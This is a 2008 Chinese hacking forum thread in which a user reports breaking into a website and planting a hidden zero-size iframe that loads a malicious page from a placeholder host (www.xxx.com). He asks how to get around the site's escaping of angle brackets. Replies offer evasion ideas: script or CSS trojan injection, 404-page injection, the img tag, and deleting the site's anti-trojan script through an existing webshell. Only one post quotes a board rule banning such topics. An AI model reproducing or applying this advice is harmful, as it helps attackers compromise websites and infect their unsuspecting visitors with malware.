返回列表 发帖
虚竹

Rank: 5Rank: 5

帖子
300 
积分
762 
威望
1212  
金钱
1030  
在线时间
3 小时 

贡献奖灌水王帅哥勋章
1楼 跳转到 » 倒序看帖
打印
tT
发表于 2008-7-20 23:16 | 只看该作者

[讨论]挂马时碰到的问题......

讨论
[讨论]挂马时碰到的问题......
日到一站...挂马成功

<iframe width=0 height=0 src=http://www.xxx.com/m.htm></iframe>


挂上后查看源文件 被过滤成了..

&#60;iframe width=0 height=0 src=http://www.xxx.com/m.htm&#62;&#60;/iframe&#62



<>  这2个符号被过滤.... 各位牛提供下解决办法...
收藏 分享

东莞大岭山

Rank: 1

帖子
28 
积分
42 
威望
56  
金钱
48  
在线时间
0 小时 
2楼
发表于 2008-7-20 23:16 | 只看该作者

即使不过滤掉,中马的机率有多少?现在大多都打了补丁了?你的马能穿SP2不能?能的话发出来分享下

TOP

路上不塞车

Rank: 1

帖子
18 
积分
27 
威望
36  
金钱
33  
在线时间
0 小时 
3楼
发表于 2008-7-20 23:16 | 只看该作者
我很菜，只能给你点建议。
1：你去看看他网页中用到<>的地方怎么设置的，网页中应该有的吧。。<body>...........</body>等等，他怎么写的你也怎么写。。。
2：用CSS自定义样式。。把它那个给改了。具体你可以去看看CSS的东东。。有两篇文章很经典你可以去看看。《一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）》，《二行代码解决全部网页木马(含iframe/script木马）》，还有vbs小铺的那个《关于<<二行代码解决全部网页木马>>的文章》。
帖子33 精华0 积分48 阅读权限40 性别男 在线时间32 小时 注册时间2007-8-13 最后登录2008-4-24 查看详细资料引用 报告 回复 TOP 软件项目外包

唐不狐
很黃很暴力

晶莹剔透§烈日灼然

TOP

bimuyu

Rank: 1

帖子
23 
积分
26 
威望
29  
金钱
29  
在线时间
0 小时 
4楼
发表于 2008-7-20 23:16 | 只看该作者
换一种挂马方式
如script 调用js挂，css挂马等。
如果有系统权限，弄个404挂马很不错的。
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间106 小时 注册时间2005-9-27 最后登录2008-7-9 查看个人网站
查看详细资料引用 报告 回复 TOP

jacksatan
晶莹剔透§烈日灼然

TOP

铁忠

Rank: 1

帖子
13 
积分
20 
威望
26  
金钱
26  
在线时间
0 小时 
5楼
发表于 2008-7-20 23:16 | 只看该作者
用js就可以了 现在挂马常用都是js 框架 淘汰了
帖子19 精华0 积分19 阅读权限40 在线时间9 小时 注册时间2008-3-29 最后登录2008-6-21 查看详细资料引用 报告 回复 TOP 少女暴富的隐秘（图）

fatcat
晶莹剔透§烈日灼然

TOP

marco

Rank: 1

帖子
22 
积分
33 
威望
44  
金钱
43  
在线时间
0 小时 
6楼
发表于 2008-7-20 23:16 | 只看该作者
受不了。一个个答非所问，明显过滤了"<"了，难道JS挂马就不用这个"<"了吗！楼主可以用img标签。
再说现在没有好网马的话就不用挂了，老是那些垃圾马没什么意思，中不了还被别人骂，有什么意思哦，呵呵晕啊晕
帖子45 精华0 积分145 阅读权限40 性别男 来自浙江 在线时间68 小时 注册时间2004-11-9 最后登录2008-7-2 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

cwa
cwa

晶莹剔透§烈日灼然

TOP

土人

Rank: 2

帖子
61 
积分
86 
威望
110  
金钱
106  
在线时间
0 小时 
7楼
发表于 2008-7-20 23:16 | 只看该作者

本版规则
给议题提出者：
01 本版的原创议题禁止讨论页面挂马、收信刷库、偷盗隐私、软绑架等明显违反法律和社会道德的话题。

TOP

老游子

Rank: 1

帖子
25 
积分
38 
威望
50  
金钱
50  
在线时间
0 小时 
8楼
发表于 2008-7-20 23:16 | 只看该作者
..我晕..难道JS挂马就不用<>了么??  ..我汗..看清楚题目在回答啊..OK？﹎.别拿天与地d\\'对立〆衡量你们与我的距离﹎.ˊ 传说中的blog:http://www.5213389.com

帖子109 精华0 积分3057 阅读权限100 性别男 来自辽宁沈阳 在线时间108 小时 注册时间2006-5-8 最后登录2008-6-16 查看个人网站
查看详细资料引用 报告 回复 TOP

1234506
晶莹剔透§烈日灼然

TOP

pat1110

Rank: 1

帖子
14 
积分
20 
威望
26  
金钱
26  
在线时间
0 小时 
9楼
发表于 2008-7-20 23:16 | 只看该作者
你这是XSS 还是直接修改原文件挂马啊?

XSS的话  就只能看看他标签地方 能不能利用了  不然没办法
直接改原文件的话  这种情况没见过~~~
帖子7 精华0 积分9 阅读权限40 在线时间13 小时 注册时间2005-7-20 最后登录2008-5-20 查看详细资料引用 报告 回复 TOP

绝情啊东
荣誉会员

TOP

彬彬

Rank: 1

帖子
23 
积分
35 
威望
46  
金钱
46  
在线时间
0 小时 
10楼
发表于 2008-7-20 23:16 | 只看该作者
不是XSS................﹎.别拿天与地d\\'对立〆衡量你们与我的距离﹎.ˊ 传说中的blog:http://www.5213389.com

帖子109 精华0 积分3057 阅读权限100 性别男 来自辽宁沈阳 在线时间108 小时 注册时间2006-5-8 最后登录2008-6-16 查看个人网站
查看详细资料引用 报告 回复 TOP

1234506
晶莹剔透§烈日灼然

TOP

lookyes

Rank: 1

帖子
13 
积分
20 
威望
26  
金钱
26  
在线时间
0 小时 
11楼
发表于 2008-7-20 23:16 | 只看该作者
你在本地上传个带<iframe>的文件试下  看他过滤了没

要是没过滤把他首页代码下下来  在本地改完了 在传上去试下
帖子7 精华0 积分9 阅读权限40 在线时间13 小时 注册时间2005-7-20 最后登录2008-5-20 查看详细资料引用 报告 回复 TOP

逍遥乾坤
晶莹剔透§烈日灼然

TOP

szyuewei

Rank: 1

帖子
14 
积分
21 
威望
27  
金钱
26  
在线时间
0 小时 
12楼
发表于 2008-7-20 23:16 | 只看该作者
貌似所有的网页中都要用到：<>符号吧。
你看你挂马页面中其它语句是怎么编写的，你就按照它的格式来，应该就没有问题了！
如果还不行，可能是它调用了某个“防挂”脚本，你既然已经有webshell了，那就找到那个脚本，删除掉.就ok了！
再者，如果嫌上面两种办法麻烦，就直接改别的挂马方式，比如前面人提到的js等等！

     ...................加我的QQ！

帖子6 精华0 积分13 阅读权限40 在线时间18 小时 注册时间2005-12-13 最后登录2008-5-25 查看详细资料引用 报告 回复 TOP

simpleboy
晶莹剔透§烈日灼然

TOP

weimei

Rank: 1

帖子
10 
积分
15 
威望
20  
金钱
20  
在线时间
0 小时 
13楼
发表于 2008-7-20 23:16 | 只看该作者
用这个script  标签试试吧只做安静的观众
帖子72 精华2 积分224 阅读权限40 在线时间42 小时 注册时间2006-10-23 最后登录2008-7-2 查看详细资料引用 报告 回复 TOP

poc
晶莹剔透§烈日灼然

TOP

返回列表